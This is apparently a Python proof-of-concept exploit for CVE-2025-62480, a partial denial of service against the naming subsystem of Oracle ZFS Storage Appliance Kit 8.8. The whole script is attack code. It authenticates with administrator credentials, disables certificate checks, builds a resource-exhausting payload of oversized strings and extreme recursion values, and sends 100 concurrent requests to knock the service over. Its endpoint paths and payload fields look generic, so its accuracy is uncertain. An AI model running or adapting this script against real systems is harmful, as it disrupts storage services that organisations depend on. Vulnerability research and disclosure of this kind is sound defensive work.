# CVE-2025-62480 - Oracle ZFS Storage Appliance Kit Naming Subsystem DoS PoC
# This PoC demonstrates a partial denial of service attack against the
# Naming Subsystem of Oracle ZFS Storage Appliance Kit version 8.8
# Note: Requires high privileged credentials (PR:H)
import requests
import sys
import time
from concurrent.futures import ThreadPoolExecutor
# Target configuration
TARGET_HOST = "https://<target-zfs-appliance>:215"
ADMIN_ENDPOINT = "/api/naming/v1/resolve"
USERNAME = "admin"
PASSWORD = "<high_privileged_password>"
def authenticate(session, host, username, password):
"""Authenticate to the Oracle ZFS Storage Appliance Kit."""
auth_url = f"{host}/api/auth/v1/login"
auth_data = {
"username": username,
"password": password,
"type": "basic"
}
try:
response = session.post(auth_url, json=auth_data, verify=False, timeout=10)
if response.status_code == 200:
print(f"[+] Successfully authenticated as {username}")
return True
else:
print(f"[-] Authentication failed: {response.status_code}")
return False
except Exception as e:
print(f"[-] Connection error: {e}")
return False
def trigger_naming_dos(session, host, payload):
"""Send a malicious naming resolution request to trigger DoS."""
url = f"{host}{ADMIN_ENDPOINT}"
headers = {
"Content-Type": "application/json",
"X-Auth-Session": session.cookies.get('authsession', '')
}
try:
response = session.post(url, json=payload, headers=headers, verify=False, timeout=30)
return response
except requests.exceptions.Timeout:
print(f"[!] Request timed out - possible DoS condition")
return None
except Exception as e:
print(f"[!] Error: {e}")
return None
def generate_malicious_payload():
"""Generate a payload targeting the naming subsystem."""
# Crafted payload designed to exhaust naming subsystem resources
payload = {
"name": "A" * 4096,
"namespace": "/" * 512,
"recursive": True,
"depth": 99999,
"filter": "*" * 2048,
"options": {
"resolve_symlinks": True,
"follow_redirects": True,
"max_iterations": 2147483647
}
}
return payload
def main():
print("=" * 60)
print("CVE-2025-62480 PoC - Oracle ZFS Storage Appliance Kit")
print("Naming Subsystem Partial DoS")
print("=" * 60)
session = requests.Session()
# Step 1: Authenticate with high privileged credentials
if not authenticate(session, TARGET_HOST, USERNAME, PASSWORD):
sys.exit(1)
# Step 2: Generate malicious payload
payload = generate_malicious_payload()
print(f"[+] Generated payload targeting naming subsystem")
# Step 3: Send requests to trigger partial DoS
print("[*] Sending requests to trigger partial DoS condition...")
with ThreadPoolExecutor(max_workers=20) as executor:
futures = []
for i in range(100):
futures.append(
executor.submit(trigger_naming_dos, session, TARGET_HOST, payload)
)
time.sleep(0.1)
# Wait for all requests to complete or timeout
for i, future in enumerate(futures):
result = future.result()
if result is None:
print(f"[!] Request {i} caused timeout - DoS condition triggered")
elif result.status_code >= 500:
print(f"[!] Request {i} returned server error: {result.status_code}")
print("[+] PoC execution completed")
if __name__ == "__main__":
main()